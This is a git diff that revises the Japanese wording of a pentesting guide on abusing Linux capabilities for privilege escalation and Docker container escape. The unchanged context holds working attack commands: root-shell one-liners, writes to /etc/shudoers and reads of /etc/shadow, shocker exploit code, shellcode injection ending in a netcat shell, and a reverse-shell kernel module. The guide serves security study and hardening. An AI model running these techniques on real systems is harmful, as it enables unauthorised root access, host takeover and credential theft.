index bc48ea859..82a6138b0 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -17,13 +17,13 @@ Linux capabilitiesは**root権限をより小さく、明確な単位に分割** - **目的**: 親プロセスから引き継がれる権限を決定します。 - **機能**: 新しいプロセスが作成されると、このセットから親の権限を引き継ぎます。プロセスの生成間で特定の権限を維持するのに役立ちます。 -- **制限**: プロセスは親が持っていなかった権限を得ることはできません。 +- **制限**: プロセスは、親が持っていなかった権限を得ることはできません。 2. **Effective (CapEff)**: - **目的**: プロセスが現在利用している実際の権限を表します。 - **機能**: これは、さまざまな操作の許可を与えるためにカーネルによってチェックされる権限のセットです。ファイルに対しては、このセットがファイルの許可された権限が有効であるかどうかを示すフラグになることがあります。 -- **重要性**: 有効なセットは即時の権限チェックにとって重要であり、プロセスが使用できる権限のアクティブなセットとして機能します。 +- **重要性**: 有効なセットは、即時の権限チェックにとって重要であり、プロセスが使用できる権限のアクティブなセットとして機能します。 3. **Permitted (CapPrm)**: @@ -62,7 +62,7 @@ process.preserve_capabilities_across_execve('CapAmb') 特定のプロセスの能力を確認するには、/proc ディレクトリ内の **status** ファイルを使用します。詳細が多いため、Linux の能力に関連する情報のみに制限しましょう。\ すべての実行中のプロセスの能力情報はスレッドごとに維持され、ファイルシステム内のバイナリには拡張属性に保存されています。 -能力は /usr/include/linux/capability.h に定義されています。 +/usr/include/linux/capability.h に定義されている能力を見つけることができます。 現在のプロセスの能力は `cat /proc/self/status` で、他のユーザーの能力は `/proc//status` で確認できます。 ```bash @@ -101,7 +101,7 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` -実行中のプロセスの能力を確認するには、**getpcaps**ツールをそのプロセスID(PID)の後に続けて使用するだけです。プロセスIDのリストを提供することもできます。 +実行中のプロセスの能力を確認するには、**getpcaps**ツールを使用し、その後にプロセスID(PID)を続けて入力します。プロセスIDのリストを提供することもできます。 ```bash getpcaps 1234 ``` @@ -133,7 +133,7 @@ _getpcaps_ツールは、特定のスレッドの利用可能な能力を照会 getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` -バイナリを**能力で検索する**には、次のコマンドを使用します: +バイナリを**能力を持つものとして検索**するには、次のコマンドを使用します: ```bash getcap -r / 2>/dev/null ``` @@ -271,7 +271,7 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` -コンパイルされた環境バイナリによって実行された**bash**内では、**新しい能力**を観察することができます(通常のユーザーは「現在」セクションに能力を持っていません)。 +コンパイルされた環境バイナリによって実行された**bash**内では、**新しい能力**を観察することが可能です(通常のユーザーは「現在」セクションに能力を持っていません)。 ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip @@ -281,12 +281,12 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ### 能力対応/能力無視バイナリ -**能力対応バイナリは、環境によって与えられた新しい能力を使用しません**が、**能力無視バイナリはそれらを使用します**。これは、能力無視バイナリがそれらを拒否しないためです。これにより、特定の環境内でバイナリに能力を付与することができるため、能力無視バイナリは脆弱になります。 +**能力対応バイナリは、環境によって与えられた新しい能力を使用しません**が、**能力無視バイナリはそれらを使用します**。これは、能力無視バイナリが特別な環境内でバイナリに能力を付与されると脆弱になることを意味します。 ## サービスの能力 -デフォルトでは、**rootとして実行されるサービスはすべての能力が割り当てられます**が、場合によってはこれが危険な場合があります。\ -したがって、**サービス構成**ファイルでは、**持たせたい能力**と、**サービスを実行すべきユーザー**を**指定**することができ、不要な特権でサービスを実行しないようにします。 +デフォルトでは、**rootとして実行されるサービスはすべての能力が割り当てられます**が、場合によってはこれが危険なことがあります。\ +したがって、**サービス構成**ファイルでは、**持たせたい能力**と、**サービスを実行すべきユーザー**を**指定**することができ、不要な特権でサービスを実行しないようにします: ```bash [Service] User=bob @@ -328,7 +328,7 @@ getcap /sbin/ping ```bash getcap -r / 2>/dev/null ``` -### エクスプロイトの例 +### 攻撃の例 次の例では、バイナリ `/usr/bin/python2.6` が特権昇格に対して脆弱であることがわかります: ```bash @@ -338,7 +338,7 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` -`tcpdump`が**任意のユーザーにパケットをスニッフィングさせるために必要な****Capabilities**: +`tcpdump`が**任意のユーザーにパケットをスニッフィングさせるために必要な** **Capabilities**: ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump @@ -399,7 +399,7 @@ uid=0(root) gid=0(root) groups=0(root) ``` -前の出力の中で、SYS_ADMIN権限が有効になっていることがわかります。 +前の出力の中にSYS_ADMIN権限が有効であることが示されています。 - **マウント** @@ -418,7 +418,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk - **フルアクセス** 前の方法では、dockerホストのディスクにアクセスすることができました。\ -ホストが**ssh**サーバーを実行している場合、**dockerホスト**ディスク内にユーザーを**作成**し、SSH経由でアクセスすることができます: +ホストが**ssh**サーバーを実行している場合、**dockerホスト**ディスク内にユーザーを作成し、SSH経由でアクセスすることができます: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -434,9 +434,9 @@ ssh john@172.17.0.1 -p 2222 ``` ## CAP_SYS_PTRACE -**これは、ホスト内で実行されているプロセスにシェルコードを注入することでコンテナを脱出できることを意味します。** ホスト内で実行されているプロセスにアクセスするには、コンテナを少なくとも **`--pid=host`** で実行する必要があります。 +**これは、ホスト内で実行されているプロセス内にシェルコードを注入することでコンテナから脱出できることを意味します。** ホスト内で実行されているプロセスにアクセスするには、コンテナを少なくとも **`--pid=host`** で実行する必要があります。 -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** は、`ptrace(2)` によって提供されるデバッグおよびシステムコールトレース機能を使用する能力を付与し、`process_vm_readv(2)` や `process_vm_writev(2)` のようなクロスメモリアタッチ呼び出しを可能にします。診断および監視目的には強力ですが、`ptrace(2)` に対する seccomp フィルターのような制限措置なしに `CAP_SYS_PTRACE` が有効にされると、システムのセキュリティが大幅に損なわれる可能性があります。特に、他のセキュリティ制限、特に seccomp によって課せられた制限を回避するために悪用される可能性があり、[このような概念実証 (PoC)](https://gist.github.com/thejh/8346f47e359adecd1d53) によって示されています。 +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** は、`ptrace(2)` によって提供されるデバッグおよびシステムコールトレース機能を使用する能力を付与し、`process_vm_readv(2)` や `process_vm_writev(2)` のようなクロスメモリアタッチ呼び出しを可能にします。診断および監視目的には強力ですが、`ptrace(2)` に対する seccomp フィルターのような制限措置なしに `CAP_SYS_PTRACE` が有効化されると、システムのセキュリティが大幅に損なわれる可能性があります。特に、他のセキュリティ制限、特に seccomp によって課せられた制限を回避するために悪用される可能性があり、[このような概念実証 (PoC)](https://gist.github.com/thejh/8346f47e359adecd1d53) によって示されています。 **バイナリを使用した例 (python)** ```bash @@ -585,7 +585,7 @@ process 207009 is executing new program: /usr/bin/dash ``` **環境の例 (Dockerブレイクアウト) - 別のgdbの悪用** -**GDB**がインストールされている場合(または、例えば`apk add gdb`や`apt install gdb`でインストールできます)、**ホストからプロセスをデバッグ**し、`system`関数を呼び出すことができます。(この技術は`SYS_ADMIN`の権限も必要です)**。** +もし**GDB**がインストールされている場合(または`apk add gdb`や`apt install gdb`でインストールできます)、**ホストからプロセスをデバッグ**し、`system`関数を呼び出すことができます。(この技術は`SYS_ADMIN`の権限も必要です)**。** ```bash gdb -p 1234 (gdb) call (void)system("ls") @@ -612,17 +612,17 @@ uid=0(root) gid=0(root) groups=0(root ``` -プロセスをリストするには、ホストで `ps -eaf` を実行します。 +プロセスをリスト表示する **host** `ps -eaf` -1. アーキテクチャを取得するには `uname -m` を実行します。 -2. アーキテクチャ用のシェルコードを見つけます ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))。 -3. プロセスメモリにシェルコードを注入するためのプログラムを見つけます ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))。 -4. プログラム内のシェルコードを修正し、コンパイルします `gcc inject.c -o inject`。 -5. 注入してシェルを取得します: `./inject 299; nc 172.17.0.1 5600`。 +1. **architecture** を取得する `uname -m` +2. アーキテクチャ用の **shellcode** を見つける ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. プロセスメモリに **shellcode** を **inject** するための **program** を見つける ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) +4. プログラム内の **shellcode** を **modify** し、**compile** する `gcc inject.c -o inject` +5. **Inject** して **shell** を取得する: `./inject 299; nc 172.17.0.1 5600` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** は、プロセスにカーネルモジュールをロードおよびアンロードする権限を与えます(`init_module(2)`、`finit_module(2)`、および `delete_module(2)` システムコール)、カーネルのコア操作への直接アクセスを提供します。この能力は重大なセキュリティリスクをもたらし、特権昇格やシステム全体の危険にさらす可能性があります。これは、カーネルを変更することを可能にし、Linuxのセキュリティメカニズム、Linux Security Modulesやコンテナの隔離をすべてバイパスします。 +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** はプロセスに **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)** の権限を与え、カーネルのコア操作に直接アクセスできるようにします。この能力は重大なセキュリティリスクをもたらし、特権昇格やシステム全体の危険にさらす可能性があります。なぜなら、カーネルを変更することができるため、Linuxのセキュリティメカニズムやコンテナの隔離をすべてバイパスすることができるからです。 **これは、ホストマシンのカーネルにカーネルモジュールを挿入/削除できることを意味します。** **バイナリの例** @@ -638,7 +638,7 @@ getcap -r / 2>/dev/null mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` -次に、**カーネルモジュールをコンパイルし、以下に2つの例を見つけて**このフォルダーにコピーします:** +次に、**カーネルモジュールをコンパイルし、以下に2つの例を見つけて、このフォルダーにコピーします:** ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` @@ -656,7 +656,7 @@ km.modprobe("reverse-shell") getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep ``` -カーネルモジュールを挿入するためにコマンド **`insmod`** を使用することが可能であることを意味します。この特権を悪用して **reverse shell** を取得するために、以下の例に従ってください。 +カーネルモジュールを挿入するために **`insmod`** コマンドを使用することが可能であることを意味します。この特権を悪用して **reverse shell** を取得するために、以下の例に従ってください。 **環境の例 (Dockerブレイクアウト)** @@ -733,12 +733,12 @@ insmod reverse-shell.ko #Launch the reverse shell ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、プロセスが **ファイルの読み取りおよびディレクトリの読み取りと実行のための権限をバイパスする** ことを可能にします。その主な用途はファイル検索または読み取りの目的です。しかし、これによりプロセスは `open_by_handle_at(2)` 関数を使用でき、プロセスのマウントネームスペースの外にあるファイルを含む任意のファイルにアクセスできます。`open_by_handle_at(2)` で使用されるハンドルは、`name_to_handle_at(2)` を通じて取得された非透明な識別子であるべきですが、改ざんに脆弱なinode番号などの機密情報を含む可能性があります。この能力の悪用の可能性、特にDockerコンテナの文脈においては、Sebastian Krahmerによってショッカーエクスプロイトで示されました。詳細は[こちら](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で分析されています。 +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、プロセスが**ファイルの読み取りおよびディレクトリの読み取りと実行のための権限をバイパスする**ことを可能にします。その主な用途はファイル検索または読み取りの目的です。しかし、これによりプロセスは `open_by_handle_at(2)` 関数を使用でき、プロセスのマウントネームスペースの外にあるファイルを含む任意のファイルにアクセスできます。`open_by_handle_at(2)` で使用されるハンドルは、`name_to_handle_at(2)` を通じて取得された非透明な識別子であるべきですが、改ざんに脆弱なinode番号などの機密情報を含む可能性があります。この能力の悪用の可能性、特にDockerコンテナの文脈においては、Sebastian Krahmerによってショッカーエクスプロイトで示されました。詳細は[こちら](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で分析されています。 **これは、ファイルの読み取り権限チェックとディレクトリの読み取り/実行権限チェックをバイパスできることを意味します。** **バイナリの例** -バイナリは任意のファイルを読み取ることができます。したがって、tarのようなファイルがこの能力を持っている場合、shadowファイルを読み取ることができます。 +バイナリは任意のファイルを読み取ることができます。したがって、tarのようなファイルがこの能力を持っている場合、シャドウファイルを読み取ることができます。 ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp @@ -747,7 +747,7 @@ tar -cxf shadow.tar.gz ``` **バイナリ2の例** -この場合、**`python`** バイナリがこの能力を持っていると仮定します。ルートファイルをリストするには、次のようにします: +この場合、**`python`** バイナリがこの能力を持っていると仮定しましょう。ルートファイルをリストするには、次のようにします: ```python import os for r, d, f in os.walk('/root'): @@ -760,7 +760,7 @@ print(open("/etc/shadow", "r").read()) ``` **環境の例 (Dockerブレイクアウト)** -Dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します: +dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep @@ -773,11 +773,11 @@ uid=0(root) gid=0(root) groups=0(root) ``` -前の出力の中で、**DAC_READ_SEARCH**権限が有効になっていることがわかります。その結果、コンテナは**プロセスをデバッグ**できます。 +前の出力の中で、**DAC_READ_SEARCH** 権限が有効になっていることがわかります。その結果、コンテナは **プロセスのデバッグ** が可能です。 -次のエクスプロイトの仕組みについては[https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で学ぶことができますが、要約すると、**CAP_DAC_READ_SEARCH**は、許可チェックなしでファイルシステムを横断することを可能にするだけでなく、_**open_by_handle_at(2)**_へのチェックを明示的に削除し、**他のプロセスによって開かれた機密ファイルに私たちのプロセスがアクセスできる可能性があります**。 +次のエクスプロイトの仕組みについては [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) で学ぶことができますが、要約すると **CAP_DAC_READ_SEARCH** は、許可チェックなしでファイルシステムを横断することを可能にするだけでなく、_**open_by_handle_at(2)**_ に対するチェックを明示的に削除し、**他のプロセスによって開かれた機密ファイルに対して私たちのプロセスがアクセスできる可能性がある** ということです。 -この権限を悪用してホストからファイルを読み取る元のエクスプロイトはここにあります: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c)。以下は、読み取りたいファイルを最初の引数として指定し、ファイルにダンプすることを可能にする**修正バージョン**です。 +この権限を悪用してホストからファイルを読み取る元のエクスプロイトはここにあります: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c)。以下は、読み取りたいファイルを最初の引数として指定し、それをファイルにダンプすることを可能にする **修正バージョン** です。 ```c #include #include @@ -951,15 +951,15 @@ vim /etc/sudoers #To overwrite it ``` **バイナリ2の例** -この例では、**`python`** バイナリはこの能力を持ちます。あなたはpythonを使って任意のファイルを上書きすることができます: +この例では、**`python`** バイナリはこの能力を持ちます。あなたはpythonを使用して任意のファイルを上書きすることができます: ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` -**環境 + CAP_DAC_READ_SEARCH (Dockerブレイクアウト) の例** +**環境 + CAP_DAC_READ_SEARCH (Docker ブレイクアウト) の例** -Dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します: +Docker コンテナ内で有効な能力を確認するには、次のコマンドを使用します: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep @@ -972,7 +972,7 @@ uid=0(root) gid=0(root) groups=0(root) ``` -まず最初に、ホストの[**DAC_READ_SEARCH能力を悪用して任意のファイルを読み取る**](linux-capabilities.md#cap_dac_read_search)前のセクションを読み、**エクスプロイトをコンパイル**してください。\ +まず最初に、ホストの[**DAC_READ_SEARCH能力を悪用して任意のファイルを読み取る**](linux-capabilities.md#cap_dac_read_search)前のセクションを読んで、**エクスプロイトをコンパイル**してください。\ 次に、ホストのファイルシステム内に**任意のファイルを書き込む**ことを可能にする**次のバージョンのショッカーエクスプロイトをコンパイル**してください: ```c #include @@ -1184,7 +1184,7 @@ import os os.setgid(42) os.system("/bin/bash") ``` -この場合、グループshadowが偽装されたため、ファイル`/etc/shadow`を読むことができます: +この場合、グループshadowが偽装されたため、ファイル`/etc/shadow`を読むことができます: ```bash cat /etc/shadow ``` @@ -1243,7 +1243,7 @@ capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` この能力は**バイナリに他の任意の能力を与える**ことを可能にするため、私たちはこのページで言及されている**他の能力のブレイクアウトを悪用して**コンテナから**脱出**することを考えることができます。\ -しかし、例えばgdbバイナリにCAP_SYS_ADMINとCAP_SYS_PTRACEの能力を与えようとすると、それらを与えることはできますが、**この後バイナリは実行できなくなります**: +しかし、例えばgdbバイナリにCAP_SYS_ADMINとCAP_SYS_PTRACEの能力を与えようとすると、それらを与えることはできますが、**バイナリはその後実行できなくなります**: ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1257,7 +1257,7 @@ bash: /usr/bin/gdb: Operation not permitted Permitted capabilitiesは使用できる能力を制限しているようです。\ しかし、Dockerはデフォルトで**CAP_SETPCAP**も付与するため、**継承可能な能力の中に新しい能力を設定できるかもしれません**。\ しかし、この能力のドキュメントには次のように記載されています: _CAP_SETPCAP : \[…] **呼び出しスレッドのバウンディング**セットからその継承可能なセットに任意の能力を追加します。_\ -つまり、**新しい能力をCAP_SYS_ADMINやCAP_SYS_PTRACEのように継承セットに追加することはできず、特権を昇格させることはできません**。 +つまり、**CAP_SYS_ADMINやCAP_SYS_PTRACEのような新しい能力を継承セットに追加することはできない**ということです。 ## CAP_SYS_RAWIO @@ -1271,7 +1271,7 @@ Permitted capabilitiesは使用できる能力を制限しているようです **バイナリの例** -**`python`**バイナリがこの能力を持っていると仮定しましょう。もし**サービスやソケットの設定**(またはサービスに関連する任意の設定ファイル)を変更できるなら、バックドアを仕掛け、そのサービスに関連するプロセスを終了させて、新しい設定ファイルがあなたのバックドアで実行されるのを待つことができます。 +**`python`**バイナリがこの能力を持っていると仮定しましょう。もし**サービスやソケットの設定**(またはサービスに関連する任意の設定ファイル)を**変更することができれば**、バックドアを仕掛け、そのサービスに関連するプロセスを終了させて、新しい設定ファイルがバックドアと共に実行されるのを待つことができます。 ```python #Use this python code to kill arbitrary processes import os @@ -1281,7 +1281,7 @@ os.killpg(pgid, signal.SIGKILL) ``` **Privesc with kill** -もしあなたが kill 権限を持っていて、**root として実行されている node プログラム**(または別のユーザーとして) がある場合、あなたはおそらく **SIGUSR1 シグナルを送信**して、それを **node デバッガーを開かせる**ことができ、そこに接続することができます。 +もしあなたがkill権限を持っていて、**rootとして実行されているnodeプログラム**(または別のユーザーとして)を見つけた場合、**SIGUSR1シグナルを送信**して、**nodeデバッガを開かせる**ことができるかもしれません。 ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d @@ -1325,7 +1325,7 @@ s.connect(('10.10.10.10',500)) ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 権限はプロセスが **RAW および PACKET ソケットを作成** することを許可し、任意のネットワークパケットを生成および送信できるようにします。これにより、パケットの偽装、トラフィックの注入、ネットワークアクセス制御の回避など、コンテナ化された環境におけるセキュリティリスクが生じる可能性があります。悪意のある行為者は、これを利用してコンテナのルーティングに干渉したり、特に適切なファイアウォール保護がない場合にホストネットワークのセキュリティを侵害する可能性があります。さらに、**CAP_NET_RAW** は、RAW ICMP リクエストを介して ping などの操作をサポートするために特権コンテナにとって重要です。 +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 権限はプロセスが **RAW および PACKET ソケットを作成** することを許可し、任意のネットワークパケットを生成および送信できるようにします。これにより、パケットの偽装、トラフィックの注入、ネットワークアクセス制御の回避など、コンテナ化された環境におけるセキュリティリスクが生じる可能性があります。悪意のある行為者は、これを利用してコンテナのルーティングに干渉したり、特に適切なファイアウォール保護がない場合にホストのネットワークセキュリティを侵害する可能性があります。さらに、**CAP_NET_RAW** は、RAW ICMP リクエストを介して ping などの操作をサポートするために特権コンテナにとって重要です。 **これは、トラフィックをスニッフィングすることが可能であることを意味します。** この権限を使用して直接特権を昇格させることはできません。 @@ -1386,11 +1386,11 @@ count=count+1 ``` ## CAP_NET_ADMIN + CAP_NET_RAW -[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) の能力は、保持者に **ネットワーク設定を変更する** 権限を与えます。これには、ファイアウォール設定、ルーティングテーブル、ソケットの権限、および公開されたネットワーク名前空間内のネットワークインターフェース設定が含まれます。また、ネットワークインターフェースで **プロミスキャスモード** を有効にすることも可能で、名前空間を越えたパケットスニッフィングを許可します。 +[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 権限は、保持者に **ネットワーク設定を変更する** 力を与えます。これには、ファイアウォール設定、ルーティングテーブル、ソケットの権限、および公開されたネットワーク名前空間内のネットワークインターフェース設定が含まれます。また、ネットワークインターフェースで **プロミスキャスモード** をオンにすることを可能にし、名前空間を越えたパケットスニッフィングを許可します。 **バイナリの例** -**pythonバイナリ** がこれらの能力を持っていると仮定しましょう。 +**pythonバイナリ** がこれらの権限を持っていると仮定しましょう。 ```python #Dump iptables filter table rules import iptc @@ -1404,7 +1404,7 @@ iptc.easy.flush_table('filter') ``` ## CAP_LINUX_IMMUTABLE -**これは、inode属性を変更できることを意味します。** この能力を使って特権を直接昇格させることはできません。 +**これはinode属性を変更できることを意味します。** この能力を使って特権を直接昇格させることはできません。 **バイナリの例** @@ -1443,7 +1443,7 @@ f.write('New content for the file\n') [**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、`chroot(2)` システムコールの実行を可能にし、既知の脆弱性を通じて `chroot(2)` 環境からの脱出を許可する可能性があります: -- [さまざまな chroot ソリューションから脱出する方法](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) +- [さまざまな chroot ソリューションからの脱出方法](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) - [chw00t: chroot 脱出ツール](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT @@ -1452,22 +1452,22 @@ f.write('New content for the file\n') ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、Linux 2.6.37 でより広範な **CAP_SYS_ADMIN** から分離され、`syslog(2)` コールを使用する能力を特に付与しました。この機能により、`kptr_restrict` 設定が 1 の場合に `/proc` や類似のインターフェースを介してカーネルアドレスを表示することが可能になります。Linux 2.6.39 以降、`kptr_restrict` のデフォルトは 0 であり、カーネルアドレスが公開されますが、多くのディストリビューションはセキュリティ上の理由からこれを 1(uid 0 以外からアドレスを隠す)または 2(常にアドレスを隠す)に設定しています。 +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、Linux 2.6.37 でより広範な **CAP_SYS_ADMIN** から分離され、`syslog(2)` コールを使用する能力を特に付与しました。この能力により、`kptr_restrict` 設定が 1 の場合に `/proc` や類似のインターフェースを介してカーネルアドレスを表示することが可能になります。Linux 2.6.39 以降、`kptr_restrict` のデフォルトは 0 であり、カーネルアドレスが公開されますが、多くのディストリビューションはセキュリティ上の理由からこれを 1(uid 0 以外からアドレスを隠す)または 2(常にアドレスを隠す)に設定しています。 さらに、**CAP_SYSLOG** は、`dmesg_restrict` が 1 に設定されている場合に `dmesg` 出力にアクセスすることを許可します。これらの変更にもかかわらず、**CAP_SYS_ADMIN** は歴史的な前例により `syslog` 操作を実行する能力を保持しています。 ## CAP_MKNOD -[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、通常のファイル、FIFO(名前付きパイプ)、または UNIX ドメインソケットの作成を超えて `mknod` システムコールの機能を拡張します。特に、次のような特別なファイルの作成を許可します: +[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、通常のファイル、FIFO(名前付きパイプ)、または UNIX ドメインソケットの作成を超えて `mknod` システムコールの機能を拡張します。特に、次の特別なファイルの作成を許可します: - **S_IFCHR**: 端末のようなキャラクタ特殊ファイル。 - **S_IFBLK**: ディスクのようなブロック特殊ファイル。 -この機能は、デバイスファイルを作成する能力を必要とするプロセスにとって不可欠であり、キャラクタまたはブロックデバイスを介して直接ハードウェアと対話することを容易にします。 +この能力は、デバイスファイルを作成する能力を必要とするプロセスにとって不可欠であり、キャラクタまたはブロックデバイスを介して直接ハードウェアと対話することを容易にします。 これはデフォルトの docker 機能です ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19))。 -この機能は、次の条件下でホスト上で特権昇格(フルディスク読み取りを通じて)を行うことを許可します: +この能力は、次の条件下でホスト上で特権昇格(フルディスク読み取りを通じて)を行うことを許可します: 1. ホストへの初期アクセスを持つ(特権なし)。 2. コンテナへの初期アクセスを持つ(特権あり(EUID 0)、および有効な `CAP_MKNOD`)。 @@ -1478,7 +1478,7 @@ f.write('New content for the file\n') 1. **ホスト上で標準ユーザーとして:** - `id` で現在のユーザーIDを確認します。例:`uid=1000(standarduser)`。 -- 対象デバイスを特定します。例えば、`/dev/sdb`。 +- 対象デバイスを特定します。例:`/dev/sdb`。 2. **コンテナ内で `root` として:** ```bash @@ -1504,7 +1504,7 @@ head /proc/12345/root/dev/sdb ### CAP_SETPCAP -**CAP_SETPCAP** は、プロセスが他のプロセスの **能力セットを変更する** ことを可能にし、効果的、継承可能、許可されたセットからの能力の追加または削除を許可します。ただし、プロセスは自分の許可されたセットに存在する能力のみを変更できるため、他のプロセスの特権を自分のもの以上に引き上げることはできません。最近のカーネルの更新により、これらのルールが厳格化され、`CAP_SETPCAP` は自分自身またはその子孫の許可されたセット内の能力を減少させることのみを許可され、セキュリティリスクを軽減することを目的としています。使用するには、効果的なセットに `CAP_SETPCAP` を持ち、ターゲットの能力を許可されたセットに持つ必要があり、`capset()` を使用して変更を行います。これが `CAP_SETPCAP` の核心的な機能と制限を要約しており、特権管理とセキュリティ強化におけるその役割を強調しています。 +**CAP_SETPCAP** は、プロセスが他のプロセスの **能力セットを変更する** ことを可能にし、効果的、継承可能、許可されたセットからの能力の追加または削除を許可します。ただし、プロセスは自分の許可されたセットに存在する能力のみを変更できるため、他のプロセスの特権を自分のもの以上に引き上げることはできません。最近のカーネルの更新により、これらのルールが厳格化され、`CAP_SETPCAP` は自分自身またはその子孫の許可されたセット内の能力を減少させることのみを許可され、セキュリティリスクを軽減することを目的としています。使用するには、効果的なセットに `CAP_SETPCAP` を持ち、ターゲットの能力を許可されたセットに持っている必要があり、`capset()` を使用して変更を行います。これが `CAP_SETPCAP` の核心的な機能と制限を要約し、特権管理とセキュリティ強化におけるその役割を強調しています。 **`CAP_SETPCAP`** は、プロセスが他のプロセスの **能力セットを変更する** ことを可能にするLinuxの能力です。他のプロセスの効果的、継承可能、許可された能力セットから能力を追加または削除する能力を付与します。ただし、この能力の使用方法には特定の制限があります。 @@ -1512,13 +1512,13 @@ head /proc/12345/root/dev/sdb さらに、最近のカーネルバージョンでは、`CAP_SETPCAP` の能力が **さらに制限されました**。もはやプロセスが他のプロセスの能力セットを恣意的に変更することは許可されていません。代わりに、**自分の許可された能力セットまたはその子孫の許可された能力セット内の能力を下げることのみを許可します**。この変更は、能力に関連する潜在的なセキュリティリスクを軽減するために導入されました。 -`CAP_SETPCAP` を効果的に使用するには、効果的な能力セットにその能力を持ち、ターゲットの能力を許可された能力セットに持つ必要があります。その後、`capset()` システムコールを使用して他のプロセスの能力セットを変更できます。 +`CAP_SETPCAP` を効果的に使用するには、効果的な能力セットにその能力を持ち、ターゲットの能力を許可された能力セットに持っている必要があります。その後、`capset()` システムコールを使用して他のプロセスの能力セットを変更できます。 要約すると、`CAP_SETPCAP` 